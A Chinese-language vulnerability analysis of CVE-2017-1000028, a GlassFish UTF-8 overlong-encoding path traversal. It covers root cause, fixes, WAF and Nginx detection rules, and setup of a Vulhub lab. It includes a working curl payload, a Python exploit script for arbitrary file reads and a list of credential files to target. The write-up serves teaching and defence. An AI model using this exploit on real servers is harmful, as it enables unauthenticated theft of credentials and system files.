一、漏洞简介¶
1.1 漏洞背景¶
GlassFish 是 Oracle 公司提供的一个开源 Java EE 应用服务器实现,广泛用于企业级 Java 应用部署。该服务器包含 Web 容器、EJB 容器、管理控制台等组件,默认监听 4848 端口提供管理界面。
在 GlassFish 4.1.0 及更早版本中,URL 解码组件存在一个历史悠久的编码处理缺陷。该缺陷源于 Java 生态系统中对 UTF-8 Overlong Encoding(超长编码)处理的不一致性。UTF-8 Overlong Encoding 是一种将单字节 ASCII 字符编码为多字节 UTF-8 序列的非标准方式,虽然在 Unicode 规范中被明确禁止,但许多 Java 实现并未严格检查这种情况。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2017-1000028 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | GlassFish UTF-8 Overlong Encoding 任意文件读取漏洞 |
| 披露时间 | 2017-07-17 |
| 影响组件 | GlassFish |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2017-1000028 |
| 危害等级 | 高危(High) |
| CVSS评分 | 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| 漏洞类型 | 路径遍历(Path Traversal)/ 任意文件读取 |
| CWE分类 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
补充核验信息:公开时间:2017-07-17;NVD 评分:7.5(HIGH);CWE:CWE-22。
二、影响范围¶
2.1 受影响的版本¶
- GlassFish 4.1.0 及所有更早版本
- Sun GlassFish Enterprise Server 2.1, 2.1.1, 3.0.1
- Sun Java System Application Server 9.1
2.2 不受影响的版本¶
- GlassFish 5.0 及以上版本(已修复)
- Eclipse GlassFish(开源分支,最新版本)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- GlassFish 服务对外开放,可被远程访问
- 管理端口(4848)或 HTTP 端口(8080)可访问
- 无需认证即可利用漏洞
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
UTF-8 编码基础知识:
UTF-8 是一种变长编码,使用 1-4 个字节表示 Unicode 字符:
| Unicode 范围 | UTF-8 编码格式 |
|---|---|
| U+0000 ~ U+007F | 0xxxxxxx |
| U+0080 ~ U+07FF | 110xxxxx 10xxxxxx |
| U+0800 ~ U+FFFF | 1110xxxx 10xxxxxx 10xxxxxx |
| U+10000 ~ U+10FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx |
Overlong Encoding 攻击原理:
以点号 . (ASCII 0x2E, Unicode U+002E) 为例:
标准编码(单字节):
0x2E → 00101110 (二进制)
Overlong Encoding(双字节非法编码):
原始:00101110
补零:00000101110
分组:00000 | 101110
加前缀:11000000 | 10101110
结果:0xC0 0xAE
GlassFish 在处理 URL 时,会将 %C0%AE 解码为点号 .,而安全过滤器通常只检查 %2e 或直接的字面量 .,导致攻击者可以绑过安全检查。
目录遍历构造:
攻击者使用 %c0%ae%c0%ae/ 替代 ../,构造如下路径:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/.../etc/passwd
这会被服务器解析为:
/theme/META-INF/../../../.../etc/passwd
从而遍历到系统任意目录。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置: GlassFish 的 URL 解码模块
问题出现在 com.sun.enterprise.web.WebConnector 和相关的 URI 解码逻辑中:
// 简化的伪代码示例
public String decodeURL(String encoded) {
// Java 默认的 UTF-8 解码器接受 Overlong Encoding
// 这是问题的根源
return URLDecoder.decode(encoded, "UTF-8");
}
根本原因分析:
-
Java 的 Modified UTF-8:Java 在某些组件中使用了非标准的 "Modified UTF-8",它允许 Overlong Encoding
-
路径安全检查绕过:
// 安全检查只检查字面量
if (path.contains("../") || path.contains("..\\")) {
throw new SecurityException("Path traversal detected");
}
// 但不检查 %c0%ae%c0%ae
- 解码顺序问题:路径安全检查在 URL 解码之前执行,导致编码后的遍历字符未被检测
正确的修复方式:
public String safeDecodePath(String encoded) {
// 先解码
String decoded = URLDecoder.decode(encoded, "UTF-8");
// 规范化路径
Path normalized = Paths.get(decoded).normalize();
// 检查是否超出允许目录
Path basePath = Paths.get("/allowed/directory");
if (!normalized.startsWith(basePath)) {
throw new SecurityException("Path traversal detected");
}
return normalized.toString();
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 和 Vulhub 镜像快速搭建漏洞环境:
# 克隆 vulhub 仓库
git clone https://github.com/vulhub/vulhub.git
cd vulhub/glassfish/CVE-2017-1000028
# 创建 docker-compose.yml
cat > docker-compose.yml << 'EOF'
services:
glassfish:
image: vulhub/glassfish:4.1
ports:
- "4848:4848"
- "8080:8080"
environment:
- ADMIN_PASSWORD=vulhub_default_password
EOF
# 启动环境
docker compose up -d
# 等待服务启动(约 30-60 秒)
docker compose logs -f
环境验证:
访问 http://your-ip:4848 确认管理控制台可访问。
4.2 PoC 演示与测试过程¶
基础 PoC - 读取 /etc/passwd:
# 使用 curl 发送请求
curl -k "https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
Python 自动化 PoC:
#!/usr/bin/env python3
"""
GlassFish CVE-2017-1000028 任意文件读取漏洞 PoC
"""
import sys
import requests
import urllib3
# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(target_ip, file_path):
"""
利用漏洞读取目标文件
:param target_ip: 目标 IP 地址
:param file_path: 要读取的文件路径
:return: 文件内容
"""
# 构造 Overlong Encoding 的目录遍历路径
# %c0%ae = . (点号)
# 构造足够多的 ../ 以到达根目录
traversal = "%c0%ae%c0%ae/" * 10
# 移除开头的 /
if file_path.startswith('/'):
file_path = file_path[1:]
# 构造完整 URL
url = f"https://{target_ip}:4848/theme/META-INF/{traversal}{file_path}"
try:
print(f"[*] 目标: {target_ip}")
print(f"[*] 读取文件: /{file_path}")
print(f"[*] 请求 URL: {url}")
print("-" * 60)
response = requests.get(
url,
verify=False,
timeout=10,
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
)
if response.status_code == 200:
print("[+] 成功读取文件内容:")
print("=" * 60)
print(response.text[:5000]) # 限制输出长度
print("=" * 60)
return response.text
else:
print(f"[-] 请求失败,状态码: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常: {e}")
return None
def main():
if len(sys.argv) < 3:
print("用法: python exploit.py <目标IP> <文件路径>")
print("示例: python exploit.py 192.168.1.100 etc/passwd")
print(" python exploit.py 192.168.1.100 etc/shadow")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
exploit(target, file_path)
if __name__ == "__main__":
main()
使用方法:
# 安装依赖
pip install requests
# 运行 PoC
python exploit.py 192.168.1.100 etc/passwd
读取敏感文件列表:
# Linux 系统
/etc/passwd # 用户信息
/etc/shadow # 密码哈希(需要 root 权限)
/etc/hosts # 主机解析
/proc/self/environ # 环境变量
# GlassFish 配置
glassfish/domains/domain1/config/domain.xml # 域配置
glassfish/domains/domain1/config/admin-keyfile # 管理员凭证
glassfish/domains/domain1/config/keyfile # 用户凭证
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 建议升级版本 | 说明 |
|---|---|---|
| GlassFish 4.1.0 及以下 | GlassFish 5.0 或更高 | 官方已修复 |
| Sun GlassFish Enterprise Server | 迁移至 Oracle GlassFish 5.x | 旧版本不再维护 |
升级步骤:
- 备份现有配置和应用
- 下载 GlassFish 5.0+
- 迁移域配置
- 重新部署应用
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:WAF 规则(推荐)
在 Web 应用防火墙中添加规则,拦截包含 Overlong Encoding 的请求:
# ModSecurity 规则示例
SecRule REQUEST_URI "@contains %c0%ae" \
"id:1001,phase:1,deny,status:403,msg:'Possible UTF-8 Overlong Encoding Attack'"
方案二:反向代理过滤
使用 Nginx 作为反向代理:
server {
listen 443 ssl;
server_name glassfish.example.com;
location / {
# 检测并拒绝 Overlong Encoding
if ($request_uri ~* "%c0%ae|%c1%9c|%c0%af") {
return 403;
}
proxy_pass http://localhost:4848;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
方案三:网络隔离
# 限制 4848 端口仅允许内网访问
iptables -A INPUT -p tcp --dport 4848 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 4848 -j DROP
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Oracle Critical Patch Update: https://www.oracle.com/security-alerts/
- GlassFish Security Page: https://github.com/eclipse-ee4j/glassfish/security
6.2 其他技术参考资料¶
- Trustwave Advisory TWSL2015-016: https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/
- UTF-8 Overlong Encoding 详解: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
- Vulhub 漏洞环境: https://github.com/vulhub/vulhub/tree/master/glassfish/CVE-2017-1000028
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
- CWE-22: https://cwe.mitre.org/data/definitions/22.html